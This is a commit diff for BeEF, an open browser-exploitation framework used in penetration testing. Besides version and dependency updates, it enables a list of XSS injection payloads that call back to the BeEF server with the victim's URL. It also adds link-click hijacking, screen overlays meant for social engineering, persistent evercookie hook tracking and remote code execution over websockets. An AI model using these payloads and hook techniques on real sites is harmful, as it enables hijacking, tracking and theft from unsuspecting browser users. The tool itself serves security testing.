Update version to '0.4.4.4.1-alpha' bug fix edition

will be rendered in the admin UI

.gitignore

@@ -1,3 +1,8 @@
 beef.db
 test/msf-test
-custom-config.yaml
+custom-config.yaml
+.DS_Store
+.gitignore
+.rvmrc
+
+*.lock

Gemfile

@@ -9,11 +9,9 @@
 # Gems only required on Windows, or with specific Windows issues
 if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
   gem "win32console"
-  gem "eventmachine", "1.0.0.beta.4.1"
-else
-  gem "eventmachine", "0.12.10"
 end
 
+gem "eventmachine", "1.0.3"
 gem "thin"
 gem "sinatra", "1.3.2"
 gem "em-websocket", "~> 0.3.6"

Rakefile

@@ -76,10 +76,10 @@ end
 @beef_process_id = nil;
 
 task :beef_start => 'beef' do
-  printf "Starting BeEF (wait 10 seconds)..."
+  printf "Starting BeEF (wait a few seconds)..."
   @beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+")
-  delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
-  delays.each do |i| # delay for 10 seconds
+  delays = [3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
+  delays.each do |i| # delay for a few seconds
     printf '.'
     sleep (i)
   end

VERSION

@@ -4,4 +4,4 @@
 # See the file 'doc/COPYING' for copying permission
 #
 
-0.4.4.1-alpha
+0.4.4.4.1-alpha

config.yaml

@@ -6,7 +6,7 @@
 # BeEF Configuration file
 
 beef:
-    version: '0.4.4.1-alpha'
+    version: '0.4.4.4.1-alpha'
     debug: false
 
     restrictions:
@@ -43,7 +43,7 @@ beef:
 
         # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
         web_server_imitation:
-            enable: false
+            enable: true
             type: "apache" #supported: apache, iis
 
         # Experimental HTTPS support for the hook / admin / all other Thin managed web services
@@ -91,6 +91,10 @@ beef:
 
     crypto_default_value_length: 80
 
+    # Enable client-side debugging
+    client:
+        debug: false
+
     # You may override default extension configuration parameters here
     extension:
         requester:

core/bootstrap.rb

@@ -25,6 +25,7 @@ require 'core/main/handlers/browserdetails'
 # @note Include the network stack
 require 'core/main/network_stack/handlers/dynamicreconstruction'
 require 'core/main/network_stack/handlers/redirector'
+require 'core/main/network_stack/handlers/raw'
 require 'core/main/network_stack/assethandler'
 require 'core/main/network_stack/api'
 

core/main/client/beef.js

@@ -31,7 +31,21 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
 		
 		// An array containing all the BeEF JS components.
 		components: new Array(),
-		
+
+                /**
+                 * Adds a function to display debug messages (wraps console.log())
+                 * @param: {string} the debug string to return
+                 */
+                debug: function(msg) {
+                    if (!<%= @client_debug %>) return;
+                    if (typeof console == "object" && typeof console.log == "function") {
+                        console.log(msg);
+                    } else {
+                        // TODO: maybe add a callback to BeEF server for debugging purposes
+                        //window.alert(msg);
+                    }
+                },
+
 		/**
 		 * Adds a function to execute.
 		 * @param: {Function} the function to execute.

core/main/client/dom.js

@@ -76,6 +76,30 @@ beef.dom = {
 		
 		return iframe;
 	},
+
+	/**
+	 * Returns the highest current z-index
+	 * @param: {Boolean} whether to return an associative array with the height AND the ID of the element
+	 * @return: {Integer} Highest z-index in the DOM
+	 * OR
+	 * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
+	 */
+	getHighestZindex: function(include_id) {
+		var highest = {'height':0, 'elem':''};
+		$j('*').each(function() {
+			var current_high = parseInt($j(this).css("zIndex"),10);
+			if (current_high > highest.height) {
+				highest.height = current_high;
+				highest.elem = $j(this).attr('id');
+			}
+		});
+
+		if (include_id) {
+			return highest;
+		} else {
+			return highest.height;
+		}
+	},
 	
 	/**
      * Create and iFrame element. In case it's create with POST method, the iFrame is automatically added to the DOM and submitted.
@@ -95,8 +119,15 @@ beef.dom = {
 			var form_action = params['src'];
 			params['src'] = '';
 		}
-		if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); }
-		if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px'}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); }
+		if (type == 'hidden') {
+			css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
+		} else if (type == 'fullscreen') {
+			css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
+			$j('body').css({'padding':'0px', 'margin':'0px'});
+		} else {
+			css = styles;
+			$j('body').css({'padding':'0px', 'margin':'0px'});
+		}
 		var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
 		
 		if (form_submit && form_action)
@@ -127,6 +158,75 @@ beef.dom = {
             }
         });
     },
+
+    /**
+     * Load a full screen div that is black, or, transparent
+     * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
+     * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
+     *         opacity:0-100         // Lower number = less grayout higher = more of a blackout
+     *           // By default this is 70 
+     *         zindex: #             // HTML elements with a higher zindex appear on top of the gray out
+     *           // By default this will use beef.dom.getHighestZindex to always go to the top
+     *         bgcolor: (#xxxxxx)    // Standard RGB Hex color code
+     *           // By default this is #000000
+     */
+	grayOut: function(vis, options) {
+	  // in any order.  Pass only the properties you need to set.
+	  var options = options || {};
+	  var zindex = options.zindex || beef.dom.getHighestZindex()+1;
+	  var opacity = options.opacity || 70;
+	  var opaque = (opacity / 100);
+	  var bgcolor = options.bgcolor || '#000000';
+	  var dark=document.getElementById('darkenScreenObject');
+	  if (!dark) {
+	    // The dark layer doesn't exist, it's never been created.  So we'll
+	    // create it here and apply some basic styles.
+	    // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
+	    var tbody = document.getElementsByTagName("body")[0];
+	    var tnode = document.createElement('div');           // Create the layer.
+	        tnode.style.position='absolute';                 // Position absolutely
+	        tnode.style.top='0px';                           // In the top
+	        tnode.style.left='0px';                          // Left corner of the page
+	        tnode.style.overflow='hidden';                   // Try to avoid making scroll bars            
+	        tnode.style.display='none';                      // Start out Hidden
+	        tnode.id='darkenScreenObject';                   // Name it so we can find it later
+	    tbody.appendChild(tnode);                            // Add it to the web page
+	    dark=document.getElementById('darkenScreenObject');  // Get the object.
+	  }
+	  if (vis) {
+	    // Calculate the page width and height 
+	    if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
+	        var pageWidth = document.body.scrollWidth+'px';
+	        var pageHeight = document.body.scrollHeight+'px';
+	    } else if( document.body.offsetWidth ) {
+	      var pageWidth = document.body.offsetWidth+'px';
+	      var pageHeight = document.body.offsetHeight+'px';
+	    } else {
+	       var pageWidth='100%';
+	       var pageHeight='100%';
+	    }
+	    //set the shader to cover the entire page and make it visible.
+	    dark.style.opacity=opaque;
+	    dark.style.MozOpacity=opaque;
+	    dark.style.filter='alpha(opacity='+opacity+')';
+	    dark.style.zIndex=zindex;
+	    dark.style.backgroundColor=bgcolor;
+	    dark.style.width= pageWidth;
+	    dark.style.height= pageHeight;
+	    dark.style.display='block';
+	  } else {
+	     dark.style.display='none';
+	  }
+	},
+
+	/**
+	 * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
+	 *  or, re-writing a document this is useful.
+	 */
+	removeStylesheets: function() {
+		$j('link[rel=stylesheet]').remove();
+		$j('style').remove();
+	},
 	
 	/**
      * Create a form element with the specified parameters, appending it to the DOM if append == true
@@ -178,6 +278,23 @@ beef.dom = {
 		}).length;
 	},
 
+	/**
+	 * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
+	 * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
+	 * @param: {String} url: the url to be rewritten
+	 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return: {Number} the amount of links found in the DOM and rewritten.
+	 */
+	rewriteLinksClickEvents: function(url, selector) {
+		var sel = (selector == null) ? 'a' : selector;
+		return $j(sel).each(function() {
+			if ($j(this).attr('href') != null)
+			{
+				$j(this).click(function() {this.href=url});
+			}
+		}).length;
+	},
+
 	/**
      * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
 	 * @param: {String} old_protocol: the old link protocol to be rewritten
@@ -275,7 +392,7 @@ beef.dom = {
             }
             content += "</object>";
         }
-        if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO()) {
+        if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
 
             if (codebase != null) {
                 content = "" +
@@ -294,24 +411,25 @@ beef.dom = {
             }
             content += "</applet>";
         }
-        if (beef.browser.isFF()) {
-            if (codebase != null) {
-                content = "" +
-                    "<embed id='" + id + "' code='" + code + "' " +
-                    "type='application/x-java-applet' codebase='" + codebase + "' " +
-                    "height='0' width='0' name='" + name + "'>";
-            } else {
-                content = "" +
-                    "<embed id='" + id + "' code='" + code + "' " +
-                    "type='application/x-java-applet' archive='" + archive + "' " +
-                    "height='0' width='0' name='" + name + "'>";
-            }
-
-            if (params != null) {
-                content += beef.dom.parseAppletParams(params);
-            }
-            content += "</embed>";
-        }
+        // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
+//        if (beef.browser.isFF()) {
+//            if (codebase != null) {
+//                content = "" +
+//                    "<embed id='" + id + "' code='" + code + "' " +
+//                    "type='application/x-java-applet' codebase='" + codebase + "' " +
+//                    "height='0' width='0' name='" + name + "'>";
+//            } else {
+//                content = "" +
+//                    "<embed id='" + id + "' code='" + code + "' " +
+//                    "type='application/x-java-applet' archive='" + archive + "' " +
+//                    "height='0' width='0' name='" + name + "'>";
+//            }
+//
+//            if (params != null) {
+//                content += beef.dom.parseAppletParams(params);
+//            }
+//            content += "</embed>";
+//        }
         $j('body').append(content);
     },
 

core/main/client/geolocation.js

@@ -32,14 +32,14 @@ beef.geolocation = {
 
         $j.ajax({
             error: function(xhr, status, error){
-                //console.log("[geolocation.js] openstreetmap error");
+                beef.debug("[geolocation.js] openstreetmap error");
                 beef.net.send(command_url, command_id, "latitude=" + latitude
                              + "&longitude=" + longitude
                              + "&osm=UNAVAILABLE"
                              + "&geoLocEnabled=True");
                 },
             success: function(data, status, xhr){
-                //console.log("[geolocation.js] openstreetmap success");
+                beef.debug("[geolocation.js] openstreetmap success");
                 var jsonResp = $j.parseJSON(data);
 
                 beef.net.send(command_url, command_id, "latitude=" + latitude
@@ -64,16 +64,16 @@ beef.geolocation = {
 	        beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");	
 			return;
 		}
-        //console.log("[geolocation.js] navigator.geolocation.getCurrentPosition");
+        beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
         navigator.geolocation.getCurrentPosition( //note: this is an async call
 			function(position){ // success
 				var latitude = position.coords.latitude;
         		var longitude = position.coords.longitude;
-                //console.log("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
+                beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
                 beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
 
 			}, function(error){ // failure
-                    //console.log("[geolocation.js] error [%d] getting position", error.code);
+                    beef.debug("[geolocation.js] error [%d] getting position", error.code);
 					switch(error.code) // Returns 0-3
 					{
 						case 0:

core/main/client/hardware.js

@@ -8,6 +8,42 @@ beef.hardware = {
 
 	ua: navigator.userAgent,
 
+	cpuType: function() {
+		// IE
+		if (typeof navigator.cpuClass != 'undefined') {
+			cpu = navigator.cpuClass;
+			if (cpu == "x86")   return "32-bit";
+			if (cpu == "68K")   return "Motorola 68K";
+			if (cpu == "PPC")   return "Motorola PPC";
+			if (cpu == "Alpha") return "Digital";
+			if (this.ua.match('Win64; IA64')) return "64-bit (Intel)";
+			if (this.ua.match('Win64; x64'))  return "64-bit (AMD)";
+		// Firefox
+        } else if (typeof navigator.oscpu != 'undefined') {
+			if (navigator.oscpu.match('(WOW64|x64|x86_64)')) return "64-bit";
+		}
+		if (navigator.platform.toLowerCase() == "win64") return "64-bit";
+		return "32-bit";
+	},
+
+	isTouchEnabled: function() {
+		if ('ontouchstart' in document) return true;
+		return false;
+	},
+
+	isVirtualMachine: function() {
+		if (screen.width % 2 || screen.height % 2) return true;
+		return false;
+	},
+
+	isLaptop: function() {
+		// Most common laptop screen resolution
+		if (screen.width == 1366 && screen.height == 768) return true;
+		// Netbooks
+		if (screen.width == 1024 && screen.height == 600) return true;
+		return false;
+	},
+
 	isNokia: function() {
 		return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
 	},
@@ -36,13 +72,13 @@ beef.hardware = {
          * Returns true if the browser is on a Mobile Phone
          * @return: {Boolean} true or false
          *
-         * @example: if(beef.browser.isMobilePhone()) { ... }
+         * @example: if(beef.hardware.isMobilePhone()) { ... }
          **/
         isMobilePhone: function() {
             return DetectMobileQuick();
         },
 
-	getMobileName: function() {
+	getName: function() {
                 var ua = navigator.userAgent.toLowerCase();
                 if(DetectIphone())              { return "iPhone"};
                 if(DetectIpod())                { return "iPod Touch"};
@@ -78,14 +114,16 @@ beef.hardware = {
                 if(DetectSonyMylo())            { return "Sony Mylo"};
                 if(DetectAmazonSilk())          { return "Kindle Fire"};
                 if(DetectKindle())              { return "Kindle"};
-                if(DetectSonyPlaystation())                 { return "Playstation" };
+                if(DetectSonyPlaystation())                 { return "Playstation"};
                 if(ua.search(deviceNintendoDs) > -1)        { return "Nintendo DS"};
                 if(ua.search(deviceWii) > -1)               { return "Nintendo Wii"};
                 if(ua.search(deviceNintendo) > -1)          { return "Nintendo"};
                 if(DetectXbox())                            { return "Xbox"};
+				if(this.isLaptop())							{ return "Laptop"};
+                if(this.isVirtualMachine())                 { return "Virtual Machine"};
 
 		return 'Unknown';
 	}
 };
 
-beef.regCmp('beef.net.hardware');
+beef.regCmp('beef.hardware');

core/main/client/init.js

@@ -13,7 +13,8 @@
  * and will have a new session id. The new session id will need to know
  * the brwoser details. So sendback the browser details again.
  */
-BEEFHOOK = beef.session.get_hook_session_id();
+
+beef.session.get_hook_session_id();
 
 if (beef.pageIsLoaded) {
     beef.net.browser_details();
@@ -31,7 +32,7 @@ window.onpopstate = function (event) {
             try {
                 callback(event);
             } catch (e) {
-                console.log("window.onpopstate - couldn't execute callback: " + e.message);
+                beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
             }
             return false;
         }
@@ -46,7 +47,7 @@ window.onclose = function (event) {
             try {
                 callback(event);
             } catch (e) {
-                console.log("window.onclose - couldn't execute callback: " + e.message);
+                beef.debug("window.onclose - couldn't execute callback: " + e.message);
             }
             return false;
         }

core/main/client/lib/evercookie.js

@@ -793,14 +793,19 @@ this.waitForSwf = function(i)
 
 this.evercookie_cookie = function(name, value)
 {
-	if (typeof(value) != "undefined")
-	{
-		// expire the cookie first
-		document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
-		document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
-	}
-	else
-		return this.getFromStr(name, document.cookie);
+    try{
+        if (typeof(value) != "undefined")
+        {
+            // expire the cookie first
+            document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
+            document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
+        }
+        else
+            return this.getFromStr(name, document.cookie);
+    }catch(e){
+        // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
+        // evercookie_userdata and evercookie_window will be used in this case.
+    }
 };
 
 // get value from param-like string (eg, "x=y&name=VALUE")

core/main/client/logger.js

@@ -50,6 +50,7 @@ beef.logger = {
 	 */
 	start: function() {
 
+		beef.browser.hookChildFrames();
 		this.running = true;
 		var d = new Date();
 		this.time = d.getTime();

core/main/client/net/dns.js

@@ -43,7 +43,7 @@ beef.net.dns = {
 
 		// sends a DNS request
 		sendQuery = function(query) {
-			//console.log("Requesting: "+query);
+			beef.debug("Requesting: "+query);
 			var img = new Image;
 			img.src = "http://"+query;
 			img.onload = function() { dom.removeChild(this); }

core/main/client/net/xssrays.js

@@ -49,22 +49,20 @@ beef.net.xssrays = {
     //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
     vectors: [
 
-//				  {input:"',XSS,'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
 				  {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
-//				  {input:'\'><script>XSS<\/script>', name: 'Standard script injection single quote', browser: 'ALL',url:true,form:true,path:true},
-				  {input:'"><script>XSS<\/script>', name: 'Standard script injection double quote', browser: 'ALL',url:true,form:true,path:true}, //,
-//				  {input:'\'><body onload=\'XSS\'>', name: 'body onload single quote', browser: 'ALL',url:true,form:true,path:true},
-				  {input:'"><body onload="XSS">', name: 'body onload double quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
 				  {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
 				  {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
 				  {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
 				  {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
 				  {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
-//				  {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true}
-//				  {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
-//				  {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
-//				  {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
-//				  {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
+				  {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
+				  {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
+				  {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
 				  {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
 				  {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
   				  {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
@@ -107,7 +105,7 @@ beef.net.xssrays = {
     // util function. Print string to the console only if the debug flag is on and the browser is not IE.
     printDebug:function(log) {
         if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
-            console.log("[XssRays] " + log);
+            beef.debug("[XssRays] " + log);
         }
     },
 
@@ -340,8 +338,8 @@ beef.net.xssrays = {
                         beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
                         beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
 
-                        beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
-                            + "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
+                        beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+                            + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
 
                         exploit = vector.input.replace(/XSS/g, beefCallback);
 
@@ -368,7 +366,7 @@ beef.net.xssrays = {
                 beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
 
                 beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
-                    + "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
+                    + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
 
                 exploit = vector.input.replace(/XSS/g, beefCallback);
 
@@ -424,7 +422,7 @@ beef.net.xssrays = {
                         beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
 
                         beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
-                            + "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
+                            + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
 
                         exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
                         form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';

core/main/client/os.js

@@ -7,9 +7,9 @@
 beef.os = {
 
 	ua: navigator.userAgent,
-	
+
 	isWin311: function() {
-		return (this.ua.indexOf("Win16") != -1) ? true : false;
+		return (this.ua.match('(Win16)')) ? true : false;
 	},
 	
 	isWinNT4: function() {
@@ -19,18 +19,25 @@ beef.os = {
 	isWin95: function() {
 		return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
 	},
+	isWinCE: function() {
+		return (this.ua.match('(Windows CE)')) ? true : false;
+	},
 	
 	isWin98: function() {
 		return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
 	},
 	
 	isWinME: function() {
-		return (this.ua.indexOf('Windows ME') != -1) ? true : false;
+		return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
 	},
 	
 	isWin2000: function() {
 		return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
 	},
+
+	isWin2000SP1: function() {
+		return (this.ua.match('Windows NT 5.01 ')) ? true : false;
+	},
 	
 	isWinXP: function() {
 		return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
@@ -47,6 +54,10 @@ beef.os = {
 	isWin7: function() {
 		return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
 	},
+
+	isWin8: function() {
+		return (this.ua.match('(Windows NT 6.2)')) ? true : false;
+	},
 	
 	isOpenBSD: function() {
 		return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
@@ -103,19 +114,26 @@ beef.os = {
 	isBeOS: function() {
 		return (this.ua.match('BeOS')) ? true : false;
 	},
+
+	isWindows: function() {
+		return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWinPhone();
+	},
 	
 	getName: function() {
-		//windows
-		if(this.isWin311()) return 'Windows 3.11';
-		if(this.isWinNT4()) return 'Windows NT 4';
-		if(this.isWin95()) return 'Windows 95';
-		if(this.isWin98()) return 'Windows 98';
-		if(this.isWinME()) return 'Windows Millenium';
-		if(this.isWin2000()) return 'Windows 2000';
-		if(this.isWinXP()) return 'Windows XP';
+		//Windows
+		if(this.isWin311())        return 'Windows 3.11';
+		if(this.isWinNT4())        return 'Windows NT 4';
+		if(this.isWinCE())         return 'Windows CE';
+		if(this.isWin95())         return 'Windows 95';
+		if(this.isWin98())         return 'Windows 98';
+		if(this.isWinME())         return 'Windows Millenium';
+		if(this.isWin2000())       return 'Windows 2000';
+		if(this.isWin2000SP1())    return 'Windows 2000 SP1';
+		if(this.isWinXP())         return 'Windows XP';
 		if(this.isWinServer2003()) return 'Windows Server 2003';
-		if(this.isWinVista()) return 'Windows Vista';
-		if(this.isWin7()) return 'Windows 7';
+		if(this.isWinVista())      return 'Windows Vista';
+		if(this.isWin7())          return 'Windows 7';
+		if(this.isWin8())          return 'Windows 8';
 
 		//Nokia
 		if(this.isNokia()) {

core/main/client/session.js

@@ -13,7 +13,8 @@ beef.session = {
 	
 	hook_session_id_length: 80,
 	hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",	
-	ec: new evercookie(),	
+	ec: new evercookie(),
+    beefhook: "<%= @hook_session_name %>",
 	
 	/**
 	 * Gets a string which will be used to identify the hooked browser session
@@ -22,12 +23,12 @@ beef.session = {
 	 */
   	get_hook_session_id: function() {
 		// check if the browser is already known to the framework
-		var id = this.ec.evercookie_cookie("BEEFHOOK");
+		var id = this.ec.evercookie_cookie(beef.session.beefhook);
 		if (typeof id == 'undefined') {
-			var id = this.ec.evercookie_userdata("BEEFHOOK");
+			var id = this.ec.evercookie_userdata(beef.session.beefhook);
 		}
 		if (typeof id == 'undefined') {
-			var id = this.ec.evercookie_window("BEEFHOOK");
+			var id = this.ec.evercookie_window(beef.session.beefhook);
 		}
 		
 		// if the browser is not known create a hook session id and set it
@@ -47,9 +48,9 @@ beef.session = {
 	 */
   	set_hook_session_id: function(id) {
 		// persist the hook session id
-		this.ec.evercookie_cookie("BEEFHOOK", id);
-		this.ec.evercookie_userdata("BEEFHOOK", id);
-		this.ec.evercookie_window("BEEFHOOK", id);
+		this.ec.evercookie_cookie(beef.session.beefhook, id);
+		this.ec.evercookie_userdata(beef.session.beefhook, id);
+		this.ec.evercookie_window(beef.session.beefhook, id);
 	},
 	
 	/**

core/main/client/updater.js

@@ -15,6 +15,7 @@ beef.updater = {
 	
 	// XHR-polling timeout.
     xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
+    beefhook: "<%= @hook_session_name %>",
 	
 	// A lock.
 	lock: false,
@@ -57,7 +58,7 @@ beef.updater = {
 	get_commands: function() {
 		try {
 			this.lock = true;
-            beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
+            beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
                 if (response.body != null && response.body.length > 0)
                     beef.updater.execute_commands();
             });

core/main/client/websocket.js

@@ -53,9 +53,10 @@ beef.websocket = {
         };
 
         this.socket.onmessage = function (message) {
-            //todo: double-check if there is a way to don't use eval here. It's not a big deal,
-            //todo: because the eval'ed data comes from BeEF itself, so is implicitly trusted.
-            eval(message.data);
+            // Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.
+            // That's why it needs to be evaluated first. Using Function is a bit better than pure eval().
+            // It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.
+            new Function(message.data)();
         };
 
         this.socket.onclose = function () {

core/main/constants/hardware.rb

@@ -12,6 +12,8 @@ module Constants
   module Hardware
 
     HW_UNKNOWN_IMG        = 'pc.png'
+	HW_VM_IMG             = 'vm.png'
+	HW_LAPTOP_IMG         = 'laptop.png'
 	HW_IPHONE_UA_STR      = 'iPhone'
  	HW_IPHONE_IMG         = 'iphone.jpg'
